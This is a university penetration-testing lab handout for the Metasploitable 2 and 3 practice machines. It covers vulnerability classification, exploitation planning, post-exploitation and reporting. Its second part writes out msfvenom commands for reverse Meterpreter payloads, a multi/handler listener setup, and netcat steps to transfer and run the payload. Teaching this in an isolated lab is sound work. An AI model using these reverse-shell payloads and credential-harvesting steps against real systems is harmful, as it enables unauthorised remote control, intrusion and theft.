

Lab 03: Penetration Testing

Cybersecurity F26

February 18th, 2026

Lab Exercises: Part 1 - Exploitation

1. Introduction

In this lab, you will perform penetration testing against some of the vulnerabilities discovered in our Metasploitable 2 & Metasploitable 3 target machines from the previous lab. The goal is not just to exploit (or attempt to exploit) these vulnerabilities to gain access, but to also test your understanding on exploitation methodologies, reasoning, and impact. Some of the key objectives to consider include:

- Classifying vulnerabilities by type.
- Correlating service versions with known exploits.
- Selecting appropriate exploitation methods, and
- Summarizing the risks and remediation.

Submission and Exam Relevance

This is the second of six lab exercises that you are required to submit via itslearning. The submission serves as an important supporting material during the final written exam.

Exercise 1: Classification and Service Categorization of Vulnerabilities

In this exercise, you will classify vulnerabilities of Metasploitable 2 & Metasploitable 3 target machines based on the documented scans performed in the previous exercise. This includes the list of all open ports, their services, versions, etc.

Tasks

1. Create two tables like the one below for Metasploitable 2 and Metasploitable 3 each, and register all open ports, services, versions, whether exploitable, risk level, etc.

Port	Service	Version	Vulnerability Type	Exploitable? (Y/N)	Risk Level

2. Categorize **Vulnerability Type** using one of the following:

For Metasploitable 2

- Backdoored service
- Weak authentication
- Default credentials
- Misconfiguration
- Legacy insecure protocol
- Outdated software
- Information disclosure
- Database exposure
- Trust based authentication
- Remote code execution (RCE)
- Service enumeration
- Hardcoded bind shell
- Web application vulnerability
- Remote method invocation flow
- Network file system exposure
- Remote GUI exposure

For Metasploitable 3

- Remote code execution (RCE)
- Weak authentication
- Privilege escalation
- Literal movement vector
- Default credentials
- Remote kernel corruption
- Misconfiguration
- Outdated software
- Service enumeration

3. Justify each classification.

Exercise 2: Exploitable Strategy and Planning

In this exercise, students will show their reasoning and understanding of the vulnerabilities before exploiting any of the target machines.

Tasks

1. Which 5 services will you target first in Metasploitable 2 and 3 machines each.
2. Why do you give them the highest priority?
3. Which among them requires authentication and which don't?
4. Which will likely provide root access immediately?

Exercise 3: Actual Exploitation

In this exercise, students will perform the actual exploitation on both Metasploitable 2 and Metasploitable 3 target machines based on their 5 chosen high priority target services in each.

Tasks

1. You should exploit your chosen 5 high priority target services in Exercise 2 (Task 1). However, if you cannot exploit your high priority target services, you must successfully exploit the following:
2. For Metasploitable 2, you must successfully exploit
 - 1 Backdoored service
 - 1 Service vulnerable due to weak/default credentials
 - 1 Remote code execution vulnerability
 - 1 Misconfiguration-based issue
3. As for Metasploitable 3, you must successfully exploit the following:
 - 1 Network-based RCE (e.g., SMB related)
 - 1 Credential-based compromise
 - 1 Privilege escalation
4. Explain your exploitation technique/strategy for each service, and if you're using Metasploitable framework, mention the module you used.
5. For each successful exploitation, give evidence of initial access proof (`whoami`, `ip a`), privilege level (`id/getuid`), screenshot of session, and explanation of the attack path.

Exercise 4: Post Exploitation Analysis

In this exercise, students will perform a post exploitation analysis based on risk impact assessment. This is achieved after obtaining a shell from the previous tasks in Exercise 3.

Tasks

1. Harvest credentials that identifies current user context and privilege level
2. Locate sensitive files
3. Identify potential persistence mechanisms
4. Extract data and password hashes
5. Assess the potential of lateral movement

Exercise 5: Executive Reporting

In this exercise, you will write a short executive report based on the technical findings from your exploitations.

Tasks

1. Your report should begin with an executive summary (1 page max), highlighting business impact.

2. Technical findings: Detailed write-up of at least 3 critical vulnerabilities including:
 - Root cause
 - Exploitation method (high-level)
 - Impact
 - CVE reference (if applicable)
 - Remediation

Lab Exercises: Part 2 - Payload Creation & Establishing Remote Connection

Introduction

In this lab, students will focus specifically on payload creation and handling, not on vulnerability discovery or exploitation methods. The Metasploit Framework will be used to generate and manage a reverse connection payload. The main goal is to understand the difference between payloads and exploits, generate a reverse connection payload, set a listener on the attacker machine, and execute a payload on a target system.

Exercise 6: Creating a Payload

In this exercise, you will create a payload and simulate remote access between two virtual machines (Kali as the attacker machine and Metasploitable 2 or Metasploitable 3 as the target machines) to deliver the payload.

Tasks

1. Using `msfvenom`, create a reverse meterpreter linux elf payload using the commands:
 - For Metasploitable 2 (Linux), use:

```
msfvenom \
-a x86 --platform linux -f elf \
-p linux/x86/meterpreter/reverse_tcp \
lhost=<attacker ip> lport=<listening port> \
-o payload.elf
```
 - For Metasploitable 3 (Windows), use:

```
msfvenom \
-a x86 --platform windows -f exe \
-p windows/meterpreter/reverse_tcp \
lhost=<attacker ip> lport=<listening port> \
-o payload.exe
```

2. Now, if the target machines run our malicious payload, we can remotely access the target machine using metasploit.
3. How do you get the targeted user to execute the malicious payload?

Exercise 7: Setting Up a Reverse TCP Listener

In this exercise, you will configure a listener on your kali (attacker machine) in order to receive a connection from our payload, which is already set to initiate an outbound connection to a specific IP address and port (LHOST and LPORT).

Tasks

1. From your Kali machines, open `msfconsole` and use the generic listener (multi-handler) that waits for incoming payload connections:
use `exploit/multi/handler`
2. Now set the payload to match the one you used during payload creation (linux target):
set `payload linux/x86/meterpreter/reverse_tcp`
3. Use the `show options` command to review the required parameters such as LHOST and LPORT and set them accordingly.
Note: The handler listens on LHOST/LPORT, and the payload connects to that same combination. Also, ensure that both the IP and port match the ones used during the payload generation.
4. Start the listener with the `run` or `exploit` command. Metasploit will now display a message indicating that it is listening for incoming connections. It will wait until the payload is executed on the target machine.

Exercise 8: Establishing the Session

In this exercise, you will use a delivery mechanism to gain execution of the payload on the target machine. This allows you to gain access and establish the session.

Tasks

1. One method to simulate the payload transfer is by using netcat. Set the listener on target machine (Metasploitable 2) and sender on kali.
 - On the target machine (Metasploitable 2), use: `nc -lvp 4444 < payload.elf`
 - On the sender machine (kali), use: `nc <target_ip> 4444 > payload.elf`
2. Perform the same on Metasploitable 3. Remember to choose the correct payload.
3. Make the transferred payload executable using `chmod a+x payload.elf`

4. Then execute using `./payload.elf`
5. What other delivery method(s) can you use to send the payload to the target system?

NOTE: In real-world attacks, execution can occur through exploitation of vulnerabilities, misconfigurations, and automated deployment mechanisms. This lab does not simulate the social engineering or deception part. We will cover this in future class.

Exercise 9: Post-Connection Verification

In this exercise, you will perform basic post exploitation to verify access.

Tasks

1. Inside the session, verify using basic commands such as `sysinfo` and `getuid` to confirm current user context, OS, and successful session establishment.
2. Explore what information is accessible under the current user context. This includes user environment information, running processes, credentials, file system access, network information, etc.

NOTE: Submission applies only to Part 1 (you're of course welcome to submit both parts)
